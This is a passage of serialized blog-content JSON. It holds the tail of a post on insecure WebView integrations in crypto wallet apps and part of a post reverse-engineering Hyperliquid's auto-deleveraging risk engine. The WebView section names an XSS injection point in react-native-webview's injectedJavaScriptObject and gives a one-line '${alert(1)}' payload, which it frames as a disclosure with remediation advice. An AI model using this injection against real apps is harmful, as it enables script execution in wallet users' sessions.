",{"type":21,"tag":194,"props":159192,"children":159194},{"className":159193},[],[159195],{"type":27,"value":159188},{"type":27,"value":159197},". If we control a single attribute we can inject a payload like ",{"type":21,"tag":194,"props":159199,"children":159201},{"className":159200},[],[159202],{"type":27,"value":159203},"${alert(1)}",{"type":27,"value":159205}," and achieve XSS in the context of the loaded page.",{"type":21,"tag":30,"props":159207,"children":159208},{},[159209,159211,159218],{"type":27,"value":159210},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":21,"tag":34,"props":159212,"children":159215},{"href":159213,"rel":159214},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[38],[159216],{"type":27,"value":159217},"PR with the report and fix",{"type":27,"value":658},{"type":21,"tag":30,"props":159220,"children":159221},{},[159222],{"type":27,"value":159223},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":21,"tag":30,"props":159225,"children":159226},{},[159227,159229,159235],{"type":27,"value":159228},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":21,"tag":194,"props":159230,"children":159232},{"className":159231},[],[159233],{"type":27,"value":159234},"injectedJavaScriptObject",{"type":27,"value":159236}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":21,"tag":59,"props":159238,"children":159239},{"id":3586},[159240],{"type":27,"value":3589},{"type":21,"tag":30,"props":159242,"children":159243},{},[159244],{"type":27,"value":159245},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":21,"tag":3645,"props":159247,"children":159248},{},[159249],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":159251},[159252,159256,159259,159260],{"id":156975,"depth":217,"text":156978,"children":159253},[159254,159255],{"id":156986,"depth":236,"text":156989},{"id":157061,"depth":236,"text":157064},{"id":157094,"depth":217,"text":157097,"children":159257},[159258],{"id":157284,"depth":236,"text":157287},{"id":158804,"depth":217,"text":158807},{"id":158879,"depth":217,"text":158882,"children":159261},[159262],{"id":3586,"depth":236,"text":3589},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":159267,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":159268,"description":159269,"date":159270,"author":159271,"image":159272,"isFeatured":16,"onBlogPage":16,"tags":159276,"hideToc":16,"body":159280,"_type":3671,"_id":165919,"_source":3673,"_file":165920,"_stem":165921,"_extension":3676},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":159273,"width":159274,"height":159275},"/posts/hyperliquid-risk-engine/title.png",1456,816,[159277,159278,159279],"hyperliquid","reverse-engineering","defi",{"type":18,"children":159281,"toc":165891},[159282,159288,159296,159301,159306,159311,159323,159328,159341,159360,159366,159378,159391,159396,159427,159432,159445,159450,159641,159647,159652,159664,159670,159675,159681,159694,159728,159733,159738,159750,159756,159776,159784,159797,159803,159814,159820,159832,159837,159843,159863,159871,159877,159911,159915,159951,159956,159961,159966,159979,160016,160021,160035,160041,160046,160072,160080,160085,160113,160118,160123,160461,160466,160471,160491,160518,160523,160536,160548,160553,160558,160564,160569,160574,160588,160593,160599,160627,160664,160675,160679,160684,160689,160695,160861,160896,160901,160907,160913,161102,161115,161120,161126,161147,161152,161158,161163,161168,161180,161185,161190,161196,161201,161206,161212,161218,161231,161264,161269,163845,164113,164118,165448,165453,165458,165470,165561,165573,165578,165584,165589,165597,165602,165610,165616,165650,165661,165669,165675,165681,165686,165694,165699,165704,165712,165724,165730,165735,165741,165752,165757,165763,165768,165773,165779,165784,165787,165792,165797,165803,165808,165820,165825,165830],{"type":21,"tag":22,"props":159283,"children":159285},{"id":159284},"perpetuals",[159286],{"type":27,"value":159287},"Perpetuals",{"type":21,"tag":3741,"props":159289,"children":159290},{},[159291],{"type":21,"tag":30,"props":159292,"children":159293},{},[159294],{"type":27,"value":159295},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":21,"tag":30,"props":159297,"children":159298},{},[159299],{"type":27,"value":159300},"What does that even have to do with reverse engineering?",{"type":21,"tag":22,"props":159302,"children":159303},{"id":159277},[159304],{"type":27,"value":159305},"Hyperliquid",{"type":21,"tag":30,"props":159307,"children":159308},{},[159309],{"type":27,"value":159310},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":21,"tag":30,"props":159312,"children":159313},{},[159314,159316,159321],{"type":27,"value":159315},"The node is tasked with a ",{"type":21,"tag":1671,"props":159317,"children":159318},{},[159319],{"type":27,"value":159320},"very hard problem",{"type":27,"value":159322},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":21,"tag":30,"props":159324,"children":159325},{},[159326],{"type":27,"value":159327},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":21,"tag":30,"props":159329,"children":159330},{},[159331,159333,159339],{"type":27,"value":159332},"Beyond that, the ",{"type":21,"tag":194,"props":159334,"children":159336},{"className":159335},[],[159337],{"type":27,"value":159338},"hl-node",{"type":27,"value":159340}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":21,"tag":30,"props":159342,"children":159343},{},[159344,159346,159351,159353,159358],{"type":27,"value":159345},"Armed with some curiosity, a good amount of ",{"type":21,"tag":1671,"props":159347,"children":159348},{},[159349],{"type":27,"value":159350},"inference",{"type":27,"value":159352},", and the right tooling, we'll take a deep dive using an ",{"type":21,"tag":1671,"props":159354,"children":159355},{},[159356],{"type":27,"value":159357},"interactive interface",{"type":27,"value":159359},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":21,"tag":22,"props":159361,"children":159363},{"id":159362},"the-million-dollar-question",[159364],{"type":27,"value":159365},"The Million Dollar Question",{"type":21,"tag":30,"props":159367,"children":159368},{},[159369,159371,159376],{"type":27,"value":159370},"Let's say a terrible trader opens a ",{"type":21,"tag":1671,"props":159372,"children":159373},{},[159374],{"type":27,"value":159375},"50x",{"type":27,"value":159377}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":21,"tag":30,"props":159379,"children":159380},{},[159381,159383,159389],{"type":27,"value":159382},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":21,"tag":194,"props":159384,"children":159386},{"className":159385},[],[159387],{"type":27,"value":159388},"compute_margin_requirement_by_mode",{"type":27,"value":159390}," function.",{"type":21,"tag":30,"props":159392,"children":159393},{},[159394],{"type":27,"value":159395},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":21,"tag":159397,"props":159398,"children":159399},"tip",{},[159400],{"type":21,"tag":30,"props":159401,"children":159402},{},[159403,159405,159410,159412,159419,159421,159426],{"type":27,"value":159404},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":21,"tag":1671,"props":159406,"children":159407},{},[159408],{"type":27,"value":159409},"click through",{"type":27,"value":159411}," each action performed by ",{"type":21,"tag":34,"props":159413,"children":159416},{"href":159414,"rel":159415},"https://github.com/renato-osec/patina-research",[38],[159417],{"type":27,"value":159418},"our Rust reverse engineering agent",{"type":27,"value":159420},". Return to the regular view by clicking ",{"type":21,"tag":194,"props":159422,"children":159424},{"className":159423},[],[159425],{"type":27,"value":6800},{"type":27,"value":658},{"type":21,"tag":159428,"props":159429,"children":159431},"bndb-viewer-embed",{"addr":159430,"line-start":134,"line-end":134936},"0x555556bb4d20",[],{"type":21,"tag":30,"props":159433,"children":159434},{},[159435,159437,159443],{"type":27,"value":159436},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":21,"tag":194,"props":159438,"children":159440},{"className":159439},[],[159441],{"type":27,"value":159442},"OptionUnitQty",{"type":27,"value":159444},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":21,"tag":30,"props":159446,"children":159447},{},[159448],{"type":27,"value":159449},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":21,"tag":187,"props":159451,"children":159452},{},[159453],{"type":21,"tag":194,"props":159454,"children":159457},{"className":159455},[4794,159456],"math-display",[159458],{"type":21,"tag":198,"props":159459,"children":159462},{"className":159460},[159461],"katex-display",[159463],{"type":21,"tag":198,"props":159464,"children":159466},{"className":159465},[4800],[159467],{"type":21,"tag":198,"props":159468,"children":159470},{"className":159469,"ariaHidden":4806},[4805],[159471,159502],{"type":21,"tag":198,"props":159472,"children":159474},{"className":159473},[4811],[159475,159479,159489,159493,159498],{"type":21,"tag":198,"props":159476,"children":159478},{"className":159477,"style":94842},[4816],[],{"type":21,"tag":198,"props":159480,"children":159482},{"className":159481},[4822,27],[159483],{"type":21,"tag":198,"props":159484,"children":159486},{"className":159485},[4822],[159487],{"type":27,"value":159488},"liq_equity",{"type":21,"tag":198,"props":159490,"children":159492},{"className":159491,"style":4998},[4901],[],{"type":21,"tag":198,"props":159494,"children":159496},{"className":159495},[5003],[159497],{"type":27,"value":3174},{"type":21,"tag":198,"props":159499,"children":159501},{"className":159500,"style":4998},[4901],[],{"type":21,"tag":198,"props":159503,"children":159505},{"className":159504},[4811],[159506,159511],{"type":21,"tag":198,"props":159507,"children":159510},{"className":159508,"style":159509},[4816],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":21,"tag":198,"props":159512,"children":159514},{"className":159513},[4822],[159515,159519,159637],{"type":21,"tag":198,"props":159516,"children":159518},{"className":159517},[22510,113947],[],{"type":21,"tag":198,"props":159520,"children":159522},{"className":159521},[113952],[159523],{"type":21,"tag":198,"props":159524,"children":159526},{"className":159525},[4842,22435],[159527,159625],{"type":21,"tag":198,"props":159528,"children":159530},{"className":159529},[4847],[159531,159620],{"type":21,"tag":198,"props":159532,"children":159535},{"className":159533,"style":159534},[4852],"height:1.427em;",[159536,159576,159587],{"type":21,"tag":198,"props":159537,"children":159539},{"style":159538},"top:-2.314em;",[159540,159544],{"type":21,"tag":198,"props":159541,"children":159543},{"className":159542,"style":112600},[4861],[],{"type":21,"tag":198,"props":159545,"children":159547},{"className":159546},[4822],[159548,159553,159557,159562,159566],{"type":21,"tag":198,"props":159549,"children":159551},{"className":159550},[4822],[159552],{"type":27,"value":3931},{"type":21,"tag":198,"props":159554,"children":159556},{"className":159555,"style":4902},[4901],[],{"type":21,"tag":198,"props":159558,"children":159560},{"className":159559},[4907],[159561],{"type":27,"value":111691},{"type":21,"tag":198,"props":159563,"children":159565},{"className":159564,"style":4902},[4901],[],{"type":21,"tag":198,"props":159567,"children":159569},{"className":159568},[4822,27],[159570],{"type":21,"tag":198,"props":159571,"children":159573},{"className":159572},[4822],[159574],{"type":27,"value":159575},"leverage",{"type":21,"tag":198,"props":159577,"children":159578},{"style":114002},[159579,159583],{"type":21,"tag":198,"props":159580,"children":159582},{"className":159581,"style":112600},[4861],[],{"type":21,"tag":198,"props":159584,"children":159586},{"className":159585,"style":114012},[114011],[],{"type":21,"tag":198,"props":159588,"children":159590},{"style":159589},"top:-3.677em;",[159591,159595],{"type":21,"tag":198,"props":159592,"children":159594},{"className":159593,"style":112600},[4861],[],{"type":21,"tag":198,"props":159596,"children":159598},{"className":159597},[4822],[159599,159605,159615],{"type":21,"tag":198,"props":159600,"children":159602},{"className":159601},[4822],[159603],{"type":27,"value":159604},"∣",{"type":21,"tag":198,"props":159606,"children":159608},{"className":159607},[4822,27],[159609],{"type":21,"tag":198,"props":159610,"children":159612},{"className":159611},[4822],[159613],{"type":27,"value":159614},"notional",{"type":21,"tag":198,"props":159616,"children":159618},{"className":159617},[4822],[159619],{"type":27,"value":159604},{"type":21,"tag":198,"props":159621,"children":159623},{"className":159622},[22538],[159624],{"type":27,"value":22541},{"type":21,"tag":198,"props":159626,"children":159628},{"className":159627},[4847],[159629],{"type":21,"tag":198,"props":159630,"children":159633},{"className":159631,"style":159632},[4852],"height:0.8804em;",[159634],{"type":21,"tag":198,"props":159635,"children":159636},{},[],{"type":21,"tag":198,"props":159638,"children":159640},{"className":159639},[22532,113947],[],{"type":21,"tag":22,"props":159642,"children":159644},{"id":159643},"what-if-nobody-wants-to-buy-the-position",[159645],{"type":27,"value":159646},"What If Nobody Wants to Buy the Position?",{"type":21,"tag":30,"props":159648,"children":159649},{},[159650],{"type":27,"value":159651},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":21,"tag":30,"props":159653,"children":159654},{},[159655,159657,159662],{"type":27,"value":159656},"When that happens, the exchange is basically left with a ",{"type":21,"tag":1671,"props":159658,"children":159659},{},[159660],{"type":27,"value":159661},"hot potato",{"type":27,"value":159663}," to get rid of: what should it even do with the debt?",{"type":21,"tag":36146,"props":159665,"children":159667},{"id":159666},"the-risk-engine",[159668],{"type":27,"value":159669},"The Risk Engine",{"type":21,"tag":30,"props":159671,"children":159672},{},[159673],{"type":27,"value":159674},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":21,"tag":22,"props":159676,"children":159678},{"id":159677},"clearing-up-bad-debt",[159679],{"type":27,"value":159680},"Clearing Up Bad Debt",{"type":21,"tag":30,"props":159682,"children":159683},{},[159684,159685,159692],{"type":27,"value":534},{"type":21,"tag":34,"props":159686,"children":159689},{"href":159687,"rel":159688},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[38],[159690],{"type":27,"value":159691},"Hyperliquid docs",{"type":27,"value":159693}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":21,"tag":30,"props":159695,"children":159696},{},[159697,159699,159710,159712,159718,159720,159726],{"type":27,"value":159698},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":21,"tag":34,"props":159700,"children":159703},{"href":159701,"rel":159702},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[38],[159704],{"type":21,"tag":194,"props":159705,"children":159707},{"className":159706},[],[159708],{"type":27,"value":159709},"Clearinghouse",{"type":27,"value":159711},", a struct containing all liquidation-related info, nested within a bigger ",{"type":21,"tag":194,"props":159713,"children":159715},{"className":159714},[],[159716],{"type":27,"value":159717},"Exchange",{"type":27,"value":159719}," data structure. This is an example of what it might hold when serialized as ",{"type":21,"tag":194,"props":159721,"children":159723},{"className":159722},[],[159724],{"type":27,"value":159725},"MessagePack",{"type":27,"value":159727}," at runtime.",{"type":21,"tag":30,"props":159729,"children":159730},{},[159731],{"type":27,"value":159732},"This data will come in handy both for us and the agent.",{"type":21,"tag":159734,"props":159735,"children":159737},"file-download",{"path":159736},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":21,"tag":30,"props":159739,"children":159740},{},[159741,159743,159748],{"type":27,"value":159742},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":21,"tag":194,"props":159744,"children":159746},{"className":159745},[],[159747],{"type":27,"value":159709},{"type":27,"value":159749},". Some renaming later, we can infer something like this:",{"type":21,"tag":159428,"props":159751,"children":159755},{"source":159752,"target":159753,"direction":159754},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":21,"tag":30,"props":159757,"children":159758},{},[159759,159761,159766,159768,159774],{"type":27,"value":159760},"We have one huge function handling all clearinghouse operations, which we call ",{"type":21,"tag":194,"props":159762,"children":159764},{"className":159763},[],[159765],{"type":27,"value":159753},{"type":27,"value":159767},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":21,"tag":194,"props":159769,"children":159771},{"className":159770},[],[159772],{"type":27,"value":159773},"exchange_end_block",{"type":27,"value":159775},". So, at the end of each block we run some checks.",{"type":21,"tag":159397,"props":159777,"children":159778},{},[159779],{"type":21,"tag":30,"props":159780,"children":159781},{},[159782],{"type":27,"value":159783},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":21,"tag":30,"props":159785,"children":159786},{},[159787,159789,159795],{"type":27,"value":159788},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":21,"tag":194,"props":159790,"children":159792},{"className":159791},[],[159793],{"type":27,"value":159794},"clearinghouse.perform_auto_deleveraging",{"type":27,"value":159796}," flag.",{"type":21,"tag":159428,"props":159798,"children":159802},{"addr":159799,"line-start":159800,"line-end":159801},"0x555556ac3850","3290","3301",[],{"type":21,"tag":30,"props":159804,"children":159805},{},[159806,159808,159813],{"type":27,"value":159807},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":21,"tag":194,"props":159809,"children":159811},{"className":159810},[],[159812],{"type":27,"value":159709},{"type":27,"value":2156},{"type":21,"tag":59,"props":159815,"children":159817},{"id":159816},"threshold-condition",[159818],{"type":27,"value":159819},"Threshold Condition",{"type":21,"tag":30,"props":159821,"children":159822},{},[159823,159825,159830],{"type":27,"value":159824},"The natural connection between liquidations and ADL is ",{"type":21,"tag":1671,"props":159826,"children":159827},{},[159828],{"type":27,"value":159829},"shortfall",{"type":27,"value":159831},": by how much a position, or the entire system (!), is underwater.",{"type":21,"tag":30,"props":159833,"children":159834},{},[159835],{"type":27,"value":159836},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":21,"tag":162,"props":159838,"children":159840},{"id":159839},"who-is-underwater",[159841],{"type":27,"value":159842},"Who Is Underwater?",{"type":21,"tag":30,"props":159844,"children":159845},{},[159846,159848,159853,159855,159861],{"type":27,"value":159847},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":21,"tag":194,"props":159849,"children":159851},{"className":159850},[],[159852],{"type":27,"value":159753},{"type":27,"value":159854},", starting from all user positions, which are stored in ",{"type":21,"tag":194,"props":159856,"children":159858},{"className":159857},[],[159859],{"type":27,"value":159860},"clearinghouse.user_states",{"type":27,"value":159862},", as we can also see from the serialization.",{"type":21,"tag":159397,"props":159864,"children":159865},{},[159866],{"type":21,"tag":30,"props":159867,"children":159868},{},[159869],{"type":27,"value":159870},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":21,"tag":159428,"props":159872,"children":159876},{"source":159873,"target":159773,"direction":159874,"path":159875},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":21,"tag":30,"props":159878,"children":159879},{},[159880,159881,159886,159888,159894,159896,159902,159904,159910],{"type":27,"value":534},{"type":21,"tag":194,"props":159882,"children":159884},{"className":159883},[],[159885],{"type":27,"value":159873},{"type":27,"value":159887}," essentially turns that into an ",{"type":21,"tag":194,"props":159889,"children":159891},{"className":159890},[],[159892],{"type":27,"value":159893},"Iter",{"type":27,"value":159895},", then, inside of ",{"type":21,"tag":194,"props":159897,"children":159899},{"className":159898},[],[159900],{"type":27,"value":159901},"build_adl_candidate_set",{"type":27,"value":159903}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":21,"tag":194,"props":159905,"children":159907},{"className":159906},[],[159908],{"type":27,"value":159909},"AdlIterEntry",{"type":27,"value":58703},{"type":21,"tag":159428,"props":159912,"children":159914},{"type-name":159913},"AdlIterContext",[],{"type":21,"tag":30,"props":159916,"children":159917},{},[159918,159920,159926,159928,159934,159936,159942,159944,159949],{"type":27,"value":159919},"Note that in storage, ",{"type":21,"tag":194,"props":159921,"children":159923},{"className":159922},[],[159924],{"type":27,"value":159925},"Isolated",{"type":27,"value":159927}," positions have their own independent ",{"type":21,"tag":194,"props":159929,"children":159931},{"className":159930},[],[159932],{"type":27,"value":159933},"Entry",{"type":27,"value":159935}," in the position iterators, and ",{"type":21,"tag":194,"props":159937,"children":159939},{"className":159938},[],[159940],{"type":27,"value":159941},"Cross",{"type":27,"value":159943}," positions have a single common ",{"type":21,"tag":194,"props":159945,"children":159947},{"className":159946},[],[159948],{"type":27,"value":159933},{"type":27,"value":159950},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":21,"tag":159428,"props":159952,"children":159955},{"addr":159953,"line-start":45011,"line-end":159954},"0x555556266b10","163",[],{"type":21,"tag":30,"props":159957,"children":159958},{},[159959],{"type":27,"value":159960},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":21,"tag":159428,"props":159962,"children":159965},{"addr":159799,"line-start":159963,"line-end":159964},"506","527",[],{"type":21,"tag":30,"props":159967,"children":159968},{},[159969,159971],{"type":27,"value":159970},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":21,"tag":159972,"props":159973,"children":159976},"bndb-xref",{"lines":159974,"addrs":159975},"1-2","0x555556ac3e18-0x555556ac3e18",[159977],{"type":27,"value":159978},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":21,"tag":30,"props":159980,"children":159981},{},[159982,159984,159990,159992,159998,160000,160006,160008,160014],{"type":27,"value":159983},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":21,"tag":194,"props":159985,"children":159987},{"className":159986},[],[159988],{"type":27,"value":159989},"only_isolated",{"type":27,"value":159991}," (or ",{"type":21,"tag":194,"props":159993,"children":159995},{"className":159994},[],[159996],{"type":27,"value":159997},"strict_isolated",{"type":27,"value":159999}," in MessagePack dumps) are added to a separate queue, ",{"type":21,"tag":194,"props":160001,"children":160003},{"className":160002},[],[160004],{"type":27,"value":160005},"deferred_queue",{"type":27,"value":160007},", which triggers ADL regardless of the system's ",{"type":21,"tag":194,"props":160009,"children":160011},{"className":160010},[],[160012],{"type":27,"value":160013},"total_shortfall",{"type":27,"value":160015},". This is dictated by this branch.",{"type":21,"tag":159428,"props":160017,"children":160020},{"addr":159799,"line-start":160018,"line-end":160019},"211","243",[],{"type":21,"tag":30,"props":160022,"children":160023},{},[160024,160026,160033],{"type":27,"value":160025},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":21,"tag":34,"props":160027,"children":160030},{"href":160028,"rel":160029},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[38],[160031],{"type":27,"value":160032},"March 2025 incident",{"type":27,"value":160034},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":21,"tag":162,"props":160036,"children":160038},{"id":160037},"how-do-we-get-rid-of-debt",[160039],{"type":27,"value":160040},"How Do We Get Rid of Debt?",{"type":21,"tag":30,"props":160042,"children":160043},{},[160044],{"type":27,"value":160045},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":21,"tag":30,"props":160047,"children":160048},{},[160049,160051,160056,160058,160063,160065,160070],{"type":27,"value":160050},"Thus, if the debt is insurmountable, the ",{"type":21,"tag":194,"props":160052,"children":160054},{"className":160053},[],[160055],{"type":27,"value":160005},{"type":27,"value":160057}," is overwritten by all the users marked by ",{"type":21,"tag":194,"props":160059,"children":160061},{"className":160060},[],[160062],{"type":27,"value":159901},{"type":27,"value":160064},", otherwise we keep it and only holders of underwater ",{"type":21,"tag":194,"props":160066,"children":160068},{"className":160067},[],[160069],{"type":27,"value":159997},{"type":27,"value":160071}," positions from the earlier loop are considered for ADL.",{"type":21,"tag":159397,"props":160073,"children":160074},{},[160075],{"type":21,"tag":30,"props":160076,"children":160077},{},[160078],{"type":27,"value":160079},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":21,"tag":159428,"props":160081,"children":160084},{"addr":159799,"line-start":160082,"line-end":160083},"523","526",[],{"type":21,"tag":30,"props":160086,"children":160087},{},[160088,160090,160096,160098,160104,160106,160111],{"type":27,"value":160089},"For each underwater position, we do a ",{"type":21,"tag":159972,"props":160091,"children":160093},{"addrs":160092},"0x555556ac42ad-0x555556ac42be",[160094],{"type":27,"value":160095},"B-tree lookup",{"type":27,"value":160097}," on ",{"type":21,"tag":194,"props":160099,"children":160101},{"className":160100},[],[160102],{"type":27,"value":160103},"clearinghouse.user_states[position.user]",{"type":27,"value":160105},", adding them to a ",{"type":21,"tag":194,"props":160107,"children":160109},{"className":160108},[],[160110],{"type":27,"value":18012},{"type":27,"value":160112}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":21,"tag":159428,"props":160114,"children":160117},{"addr":159799,"line-start":160115,"line-end":160116},"635","658",[],{"type":21,"tag":30,"props":160119,"children":160120},{},[160121],{"type":27,"value":160122},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":21,"tag":187,"props":160124,"children":160125},{},[160126],{"type":21,"tag":194,"props":160127,"children":160129},{"className":160128},[4794,159456],[160130],{"type":21,"tag":198,"props":160131,"children":160133},{"className":160132},[159461],[160134],{"type":21,"tag":198,"props":160135,"children":160137},{"className":160136},[4800],[160138],{"type":21,"tag":198,"props":160139,"children":160141},{"className":160140,"ariaHidden":4806},[4805],[160142],{"type":21,"tag":198,"props":160143,"children":160145},{"className":160144},[4811],[160146,160151],{"type":21,"tag":198,"props":160147,"children":160150},{"className":160148,"style":160149},[4816],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":21,"tag":198,"props":160152,"children":160154},{"className":160153},[4822],[160155],{"type":21,"tag":198,"props":160156,"children":160159},{"className":160157},[160158],"mtable",[160160,160240],{"type":21,"tag":198,"props":160161,"children":160164},{"className":160162},[160163],"col-align-r",[160165],{"type":21,"tag":198,"props":160166,"children":160168},{"className":160167},[4842,22435],[160169,160228],{"type":21,"tag":198,"props":160170,"children":160172},{"className":160171},[4847],[160173,160223],{"type":21,"tag":198,"props":160174,"children":160177},{"className":160175,"style":160176},[4852],"height:2.3452em;",[160178,160201],{"type":21,"tag":198,"props":160179,"children":160181},{"style":160180},"top:-4.3452em;",[160182,160187],{"type":21,"tag":198,"props":160183,"children":160186},{"className":160184,"style":160185},[4861],"height:3.3944em;",[],{"type":21,"tag":198,"props":160188,"children":160190},{"className":160189},[4822],[160191],{"type":21,"tag":198,"props":160192,"children":160194},{"className":160193},[4822,27],[160195],{"type":21,"tag":198,"props":160196,"children":160198},{"className":160197},[4822],[160199],{"type":27,"value":160200},"position_weight",{"type":21,"tag":198,"props":160202,"children":160204},{"style":160203},"top:-2.2092em;",[160205,160209],{"type":21,"tag":198,"props":160206,"children":160208},{"className":160207,"style":160185},[4861],[],{"type":21,"tag":198,"props":160210,"children":160212},{"className":160211},[4822],[160213],{"type":21,"tag":198,"props":160214,"children":160216},{"className":160215},[4822,27],[160217],{"type":21,"tag":198,"props":160218,"children":160220},{"className":160219},[4822],[160221],{"type":27,"value":160222},"position_adl_amount",{"type":21,"tag":198,"props":160224,"children":160226},{"className":160225},[22538],[160227],{"type":27,"value":22541},{"type":21,"tag":198,"props":160229,"children":160231},{"className":160230},[4847],[160232],{"type":21,"tag":198,"props":160233,"children":160236},{"className":160234,"style":160235},[4852],"height:1.8452em;",[160237],{"type":21,"tag":198,"props":160238,"children":160239},{},[],{"type":21,"tag":198,"props":160241,"children":160244},{"className":160242},[160243],"col-align-l",[160245],{"type":21,"tag":198,"props":160246,"children":160248},{"className":160247},[4842,22435],[160249,160450],{"type":21,"tag":198,"props":160250,"children":160252},{"className":160251},[4847],[160253,160445],{"type":21,"tag":198,"props":160254,"children":160256},{"className":160255,"style":160176},[4852],[160257,160385],{"type":21,"tag":198,"props":160258,"children":160259},{"style":160180},[160260,160264],{"type":21,"tag":198,"props":160261,"children":160263},{"className":160262,"style":160185},[4861],[],{"type":21,"tag":198,"props":160265,"children":160267},{"className":160266},[4822],[160268,160272,160276,160281,160285],{"type":21,"tag":198,"props":160269,"children":160271},{"className":160270},[4822],[],{"type":21,"tag":198,"props":160273,"children":160275},{"className":160274,"style":4998},[4901],[],{"type":21,"tag":198,"props":160277,"children":160279},{"className":160278},[5003],[160280],{"type":27,"value":3174},{"type":21,"tag":198,"props":160282,"children":160284},{"className":160283,"style":4998},[4901],[],{"type":21,"tag":198,"props":160286,"children":160288},{"className":160287},[4822],[160289,160293,160381],{"type":21,"tag":198,"props":160290,"children":160292},{"className":160291},[22510,113947],[],{"type":21,"tag":198,"props":160